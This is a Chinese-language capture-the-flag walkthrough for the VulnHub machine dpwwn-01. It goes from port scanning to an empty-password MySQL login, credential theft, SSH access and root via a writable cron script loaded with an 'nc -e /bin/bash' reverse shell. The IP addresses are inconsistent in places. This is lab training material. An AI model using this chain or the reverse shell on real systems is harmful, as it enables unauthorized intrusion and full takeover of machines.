靶机下载地址:https://download.vulnhub.com/dpwwn/dpwwn-01.zip
++信息收集++
扫描靶机的IP地址
arp-scan -l
获得靶机的IP地址:192.168.200.130
查看靶机的服务类型,端口信息
nmap -sS -sV -T4 -A -p- 192.168.200.130
开启了22(ssh)、80(web服务)、3306(mysql)端口
如果有web服务,就枚举web服务开启的端口和浏览器访问
dirb http://192.168.200.130:web服务的端口
浏览器访问192.168.200.130
192.168.200.130
没有内容--只能枚举了
枚举目录
方法一:dirb http://192.168.200.130
http://192.168.200.130/cgi-bin/
http://192.168.200.130/info.php
方法二:gobuster dir -u http://192.168.200.130 -w /usr/share/wordlists/SecLists/Discovery/WebContent/big.txt -x .php,.txt,.html,.zip
(没有SecLists就上github搜索下载--第一个下载量最多的)
++漏洞利用++
浏览器访问枚举的获得的URL
http://192.168.200.130/info.php
不出意外只有它能访问(继续枚举子目录也没有东西),很经典的php网页
得到内容:
基本没有
登陆mysql
mysql -h 192.168.200.130 -u root -p
空密码--直接回车
漏洞:mysql空密码
查看数据库:
show databases;
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| ssh |
+--------------------+
use ssh;
show tablses;
MariaDB [ssh]> show tables;
+---------------+
| Tables_in_ssh |
+---------------+
| users |
+---------------+
select * from users;
得到了登陆ssh的账号和密码
MariaDB [ssh]> select * from user;
ERROR 1146 (42S02): Table 'ssh.user' doesn't exist
MariaDB [ssh]> select * from users;
+----+----------+---------------------+
| id | username | password |
+----+----------+---------------------+
| 1 | mistic | testP@$$swordmistic |
+----+----------+---------------------+
1 row in set (0.011 sec)
访问SSH
密码:testP@$$swordmistic
┌──(root㉿kali)-[~]
└─# ssh mistic@192.168.200.130
The authenticity of host '192.168.200.130 (192.168.200.130)' can't be established.
ED25519 key fingerprint is SHA256:gk40nSGfkMrCYAeMyL2l9aCwV/VL5i5mWKrFfowOfH0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.200.130' (ED25519) to the list of known hosts.
mistic@192.168.200.130's password:
Last login: Thu Aug 1 14:41:37 2019 from 192.168.30.145
id
[mistic@dpwwn-01 ~]$ id
uid=1000(mistic) gid=1000(mistic) groups=1000(mistic) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[mistic@dpwwn-01 ~]$ whoami
mistic
[mistic@dpwwn-01 ~]$ pwd
/home/mistic
[mistic@dpwwn-01 ~]$
++权限提升++
查看特殊权限位:
find / -perm -u=s type f 2>/dev/null
find /:从根目录 / 开始查找。
-perm -u=s:查找具有 SUID 权限的文件。SUID 是一种特殊权限,它允许用户以文件所有者的权限执行该文件。通常,它用于程序,让普通用户能够执行需要超级用户权限的操作。例如,/usr/bin/passwd 允许普通用户修改自己的密码,但以 root 权限运行。
-type f:仅查找普通文件,忽略目录或其他类型的文件。
2>/dev/null:将标准错误(例如权限不足的错误)输出重定向到 /dev/null,这样不会在终端显示错误信息
[mistic@dpwwn-01 ~]$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/mount
/usr/bin/su
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/passwd
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper
这里发现了/use/bin/crontab 定时计划
cat /etc/crontab
[mistic@dpwwn-01 ~]$ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
*/3 * * * * root /home/mistic/logrot.sh
得到内容,每三分钟就要执行一次/home/mistic/logrot.sh文件
直接利用这个脚本获取root权限的shell
增加反向shell的脚本
echo "nc -e /bin/bash 192.168.200.130 4444" > logrot.sh (这里192.168.200.130是kali Linux的IP地址)
echo:用于将指定的文本输出到标准输出,或者在这个命令中,将其重定向到文件中。
"nc -e /bin/bash 192.168.200.130 4444":这是一个使用 nc (Netcat) 命令的字符串。这个命令的含义是:
nc:Netcat 工具,它可以用来在网络上创建连接。
-e /bin/bash:-e 选项使得 Netcat 在建立连接后执行指定的程序,/bin/bash 是 bash shell,这意味着当连接建立时,Netcat 将会启动一个 Bash shell,并通过网络将其连接到远程主机。
192.168.200.130 4444:Netcat 将连接到 192.168.200.130 这个 IP 地址,并通过端口 4444 进行通信。
cat /home/mistic/logrot.sh
[mistic@dpwwn-01 ~]$ cat /home/mistic/logrot.sh
nc -e /bin/bash 192.168.200.130 4444
开启监听
nc -lvp 4444
nc:这是 Netcat 工具,常用来进行网络通信。它既可以作为客户端连接到远程主机,也可以作为服务器监听端口接收连接。
-l:表示监听模式。让 Netcat 处于服务器端模式,等待进入的连接。
-v:表示"详细模式"(verbose),启用后,Netcat 会输出更多的调试信息,如连接的 IP 地址和端口等。
-p 4444:表示指定要监听的端口号,在这个例子中是 4444。Netcat 会在本地机器的端口 4444 上监听连接。
获取flag
┌──(root㉿kali)-[~]
└─# nc -lvp 4444
listening on [any] 4444 ...
192.168.200.128: inverse host lookup failed: Unknown host
connect to [192.168.200.130] from (UNKNOWN) [192.168.200.128] 36286
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023
whoami
root
uname -a
Linux dpwwn-01 3.10.0-957.el7.centos.plus.i686 #1 SMP Wed Nov 7 19:17:19 UTC 2018 i686 i686 i386 GNU/Linux
pwd
/root
cd /root
ls
anaconda-ks.cfg
dpwwn-01-FLAG.txt
cat dpwwn-01-FLAG.txt
cat dpwwn-01-FLAG.txt
Congratulation! I knew you can pwn it as this very easy challenge.
Thank you.
64445777
6e643634
37303737
37373665
36347077
776e6450
4077246e
33373336
36359090